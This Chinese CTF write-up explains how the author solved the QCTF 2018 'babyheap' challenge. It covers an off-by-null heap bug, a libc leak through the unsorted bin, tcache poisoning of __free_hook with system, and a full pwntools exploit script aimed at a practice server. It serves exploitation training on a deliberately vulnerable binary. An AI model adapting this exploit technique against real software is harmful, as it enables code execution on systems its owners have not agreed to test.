XCTF/BUU-4th-QCTF-2018-babyheap-WP

Posted on Mar 5, 2021

3.04

这道题题目给的 libc 是 32 位的,但是程序本身是 64 位的..更令人崩溃的是查不出题目用的 libc,所以我基本是打不穿远程了,但是题目本身还是可以做一下,今天 leak 出了 libc_base,但是比较晚了,明天还有早八,所以先不搞了。


3.05

今天突然想到上 buu 看一下有没有环境,发现还真的有。buu 还是很讲理的,libc 都会提供,而且本题的比赛环境是 2.27,buu 和其一致,xctf 上则是 2.23 版本的。2.27 会简单不少,不需要使用地址错位,并且可以分配到 __free_hook 上写 system 的地址,大大增加了打通的可能性。这里先写一下针对 buu 的题解,之后可能会补一下 2.23 的利用方法,但是 xctf 上的远程基本是没法打了,痛失八分有些难受。

2.27(buu)利用方法

漏洞点在 read_input 函数中

结尾处有一个 off by null 的漏洞。

同时本题提供了一个输出的函数

所以不难想到可以通过 leak Unsorted Bin 链表尾的 chunkfd 的指针来获得 libc 基地址。(这个方法这里不详细说原理了,可以看我的这篇文章。)

注意到 delete 的时候对指针置零了,无法直接 UAF。考虑申请 A,B 两个 chunk,利用 off by null 的漏洞来将 B 的 prev_inuse 位置零,这样在 free(B) 的时候就会前向合并,合并之后的 chunk 如果大小合适就会进入 Unsorted Bin中。

但是这个时候碰到了一个问题,前向合并的时候会对 A 进行unlink,但是程序开启了 PIE,我们难以伪造,也就是说如果不把 A 提前 free 掉,是不能 free(B) 的,但是如果提前 free 了 A,我们又没办法实现 leak 了。

解决这个矛盾的办法是在 A B 间再申请一个 chunk C,这样可以把 A 提前 free 掉,而我们仍然可以有一个能够访问已被 free 掉的 chunk 的指针,当然这个指针指向的是 chunk 的中段而不是开头,还是无法 leak,但是这不碍事,我们只要再申请一个和 A 大小一样的 chunk,C 指向的 chunk 就会被分割,C 指向的就正好是一个 Unsorted Binfd 指针啦!这样就实现了 leak。当然,为了防止 A 和 C 被合并,可以在两者直接放一个 chunk D 来隔开二者(为了之后的利用,这个 chunk 的大小需要能够进入 Tcache),再次申请时,申请的大小为 A 和 D 的大小之和。还有一点要注意,A 的大小要属于 Unsorted Bin,这样才能被成功 unlink

也就是这样一个结构

实现的代码:

Create(0x4F0,'index:0\n')
Create(0xF0,'index:1\n')
Create(0x5F8,'index:2\n')
Create(0x4F0,'index:3\n')
Create(0x20,'index:4\n')

Delete(2)
Delete(0)
Create(0x5F8,'a' * 0x5F0 + p64(0xC00))#index:2
Delete(3)

Create(0x5F0,"index:2\n")

Show()

leak 的问题解决了,之后就是要实现任意地址写,这里可以使用 Tcache poisoning 很容易地分配到 __free_hook 上面。要实现 Tcache poisoning,需要能够对一个 Tcachenext 指针实现写的能力。事实上我们在实现 leak 时,再次申请的大小为 A 和 D 的大小之和的 chunk(记这个 chunk 为 E)就可以做到这一点。所以我们只要先 free 掉 chunk D,然后 free 掉 E,在把 E 申请回来就可以控制 D 的 next 了,就可以顺利分配到 __free_hook 上了,然后把 system 写进去,再 free 一个写有 "/bin/sh\x00" 的 chunk 就可以 getshell 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
context.terminal = ["tmux",'splitw','-h']

def Create(size,payload):
    sh.sendlineafter("choice :\n",'1')
    sh.sendlineafter("Size:",str(size))
    sh.sendafter("Data:",payload)

def Delete(index):
    sh.sendlineafter("choice :\n",'2')
    sh.sendlineafter("Index:",str(index))

def Show():
    sh.sendlineafter("choice :\n",'3')

#sh = process("./timu")
sh = remote("node3.buuoj.cn",28336)
libc = ELF("./buu-libc-2.27.so")

Create(0x4F0,'index:0\n')
Create(0xF0,'index:1\n')
Create(0x5F8,'index:2\n')
Create(0x4F0,'index:3\n')
Create(0x20,'index:4\n')

Delete(2)
Delete(0)
Create(0x5F8,'a' * 0x5F0 + p64(0xC00))#index:2
Delete(3)

Create(0x5F0,"index:2\n")

Show()
sh.recvuntil("0 : ")
main_arena = u64(sh.recv(6).ljust(8,'\x00')) - 96
log.success("main_arena:" + hex(main_arena))

libc_base = main_arena - 0x3EBC40
log.success("libc_base:" + hex(libc_base))

alloc_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
one_gadget = libc_base + 0x3c565

Show()
Delete(1)
Delete(2)
Create(0x5F8,'a' * 0x4F0 + p64(0) + p64(0x101) + p64(alloc_addr) + '\n')
Create(0xF0,'/bin/sh\x00\n')#index:2
Create(0xF0,p64(system_addr) + '\n')#alloc to free
#gdb.attach(proc.pidof(sh)[0])
Delete(2)

sh.interactive()